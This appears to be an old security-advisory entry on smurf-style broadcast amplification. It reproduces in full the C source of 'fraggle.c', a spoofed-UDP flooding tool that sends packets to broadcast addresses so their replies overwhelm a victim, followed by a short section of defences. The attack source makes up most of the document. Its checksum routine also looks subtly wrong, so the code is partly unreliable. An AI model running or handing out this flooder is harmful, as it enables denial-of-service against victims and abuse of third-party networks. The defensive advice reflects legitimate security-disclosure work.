COMMAND

    smurf attack

SYSTEMS AFFECTED

    All systems?

PROBLEM

    T. Freak posted following.   The same concept that has  plagued us
    for sometime now  is also available  in udp flavour.   Although it
    is not  quite as  serious, you'll  be able  to generate  a lot  of
    traffic with  it.   If you  attack with  a source  port that isn't
    open, your machine will also  send back an icmp unreach,  clogging
    your pipe that much more.

    Here's  how  it  works.   You,  armed  with your list of broadcast
    addresses send spoofed  udp packets to  each and everyone  of them
    destined, say for  port 7 (echo).   Each machine that  has port  7
    open responds  to the  victim host,  generating a  large amount of
    traffic.  If the source port isn't open on the victim machine,  it
    sends back an icmp unreach message.  Be creative with your  ports,
    This concept  isn't new,  but with  the aid  of multiple broadcast
    addresses it is  much more powerful.   Here's an example  program,
    creatively entitled `fraggle.c' (based on the original smurf  name
    - udpsmurf or some variant was too boring):

    /*
     *  fraggle.c by TFreak
     *
     *  This is basically smurf.c with a udp twist.  There are _many_ interesting
     *  things you can do with this program, I suggest you experiment with it.
     *
     *  Disclaimer:
     *     I cannot and will not be held responsible nor legally bound for the
     *     malicious activities of individuals who come into possession of this
     *     program and I refuse to provide help or support of any kind and do NOT
     *     condone or promote use of this program to deny service to anyone or any
     *     machine.  This is for educational use only. Please don't abuse this.
     *
     *  "Love is much more evil than hate will ever be ..."
     */

    #include <arpa/inet.h>
    #include <ctype.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_udp.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <signal.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <time.h>
    #include <unistd.h>

    struct pktinfo
    {
        int ps;
        int src;
        int dst;
    };

    void fraggle (int, struct sockaddr_in *, u_long dest, struct pktinfo *);
    void sigint (int);
    unsigned short checksum (u_short *, int);

    int main (int argc, char *argv[])
    {
        struct sockaddr_in sin;
        struct hostent *he;
        struct pktinfo p;
        int s, num, delay, n, cycle;
        char **bcast = malloc(1024), buf[32];
        FILE *bfile;

        /* banner */
        fprintf(stderr, "\nfraggle.c by TFreak\n\n");

        /* capture ctrl-c */
        signal(SIGINT, sigint);

        /* check for enough cmdline args */
        if (argc < 5)
        {
            fprintf(stderr, "usage: %s <target> <bcast file> <num packets> "
                            "<packet delay> [dstport] [srcport] [psize] \n\n"
                            "target\t\t= address to hit\n"
                            "bcast file\t= file containing broadcast addrs\n"
                            "num packets\t= send n packets (n = 0 is constant)\n"
                            "packet delay\t= usleep() between packets (in ms)\n"
                            "dstport\t\t= port to hit (default 7)\n"
                            "srcport\t\t= source port (0 for random)\n"
                            "ps\t\t= packet size\n\n",
                            argv[0]);
            exit(-1);
        }

        /* get port info */
        if (argc >= 6)
            p.dst = atoi(argv[5]);
        else
            p.dst = 7;
        if (argc >= 7)
            p.src = atoi(argv[6]);
        else
            p.src = 0;

        /* packet size redundant if not using echo port */
        if (argc >= 8)
            p.ps = atoi(argv[7]);
        else
            p.ps = 1;

        /* other variables */
        num = atoi(argv[3]);
        delay = atoi(argv[4]);

        /* resolve host */
        if (isdigit(*argv[1]))
            sin.sin_addr.s_addr = inet_addr(argv[1]);
        else
        {
            if ((he = gethostbyname(argv[1])) == NULL)
            {
                fprintf(stderr, "Can't resolve hostname!\n\n");
                exit(-1);
            }

            memcpy( (caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
        }
        sin.sin_family = AF_INET;
        sin.sin_port = htons(0);

        /* open bcast file and build array */
        if ((bfile = fopen(argv[2], "r")) == NULL)
        {
            perror("opening broadcast file");
            exit(-1);
        }
        n = 0;
        while (fgets(buf, sizeof buf, bfile) != NULL)
        {
            buf[strlen(buf) - 1] = 0;
            if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0]))
                continue;
            bcast[n] = malloc(strlen(buf) + 1);
            strcpy(bcast[n], buf);
            n++;
        }
        bcast[n] = '\0';
        fclose(bfile);

        /* check for addresses */
        if (!n)
        {
            fprintf(stderr, "Error:  No valid addresses in file!\n\n");
            exit(-1);
        }

        /* create our raw socket */
        if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <= 0)
        {
            perror("creating raw socket");
            exit(-1);
        }

        printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

        for (n = 0, cycle = 0; n < num || !num; n++)
        {
            if (!(n % 25))
            {
                printf(".");
                fflush(stdout);
            }

            srand(time(NULL) * rand() * getpid());

            fraggle(s, &sin, inet_addr(bcast[cycle]), &p);
            if (bcast[++cycle] == NULL)
                cycle = 0;
            usleep(delay);
        }

        sigint(0);
    }

    void fraggle (int s, struct sockaddr_in *sin, u_long dest, struct pktinfo *p)
    {
        struct iphdr *ip;
        struct udphdr *udp;
        char *packet;
        int r;

        packet = malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
        ip = (struct iphdr *)packet;
        udp = (struct udphdr *) (packet + sizeof(struct iphdr));

        memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);

        /* ip header */
        ip->protocol = IPPROTO_UDP;
        ip->saddr = sin->sin_addr.s_addr;
        ip->daddr = dest;
        ip->version = 4;
        ip->ttl = 255;
        ip->tos = 0;
        ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
        ip->ihl = 5;
        ip->frag_off = 0;
        ip->check = checksum((u_short *)ip, sizeof(struct iphdr));

        /* udp header */
        udp->len = htons(sizeof(struct udphdr) + p->ps);
        udp->dest = htons(p->dst);
        if (!p->src)
            udp->source = htons(rand());
        else
            udp->source = htons(p->src);

        /* send it on its way */
        r = sendto(s, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps,
                   0, (struct sockaddr *) sin, sizeof(struct sockaddr_in));
        if (r == -1)
        {
            perror("\nSending packet");
            exit(-1);
        }

        free(packet);               /* free willy 2! */
    }

    unsigned short checksum (u_short *addr, int len)
    {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

        while (nleft > 1)
        {
            sum += *w++;
            nleft--;
        }

        if (nleft == 1)
        {
            *(u_char *) (&answer) = *(u_char *) w;
            sum += answer;
        }

        sum = (sum >> 17) + (sum & 0xffff);
        sum += (sum >> 17);
        answer = -sum;
        return (answer);
    }

    void sigint (int ignoremewhore)
    {
        fprintf(stderr, "\nDone!\n\n");
        exit(0);
    }

SOLUTION

    Blocking broadcast udp at the router is a good start, and  perhaps
    blocking it  at your  terminal servers  as well  (so your  Mr. Joe
    EvilUser can't flood  out).  Setting  up an outbound  firewall for
    icmp unreach messages  will stop your  machine from adding  to the
    traffic if your being attacked.  And if you don't use ports, close
    them.

    There's also SmurfLog available.   The latest version of  SmurfLog
    can be found at

        http://www.sy.net/security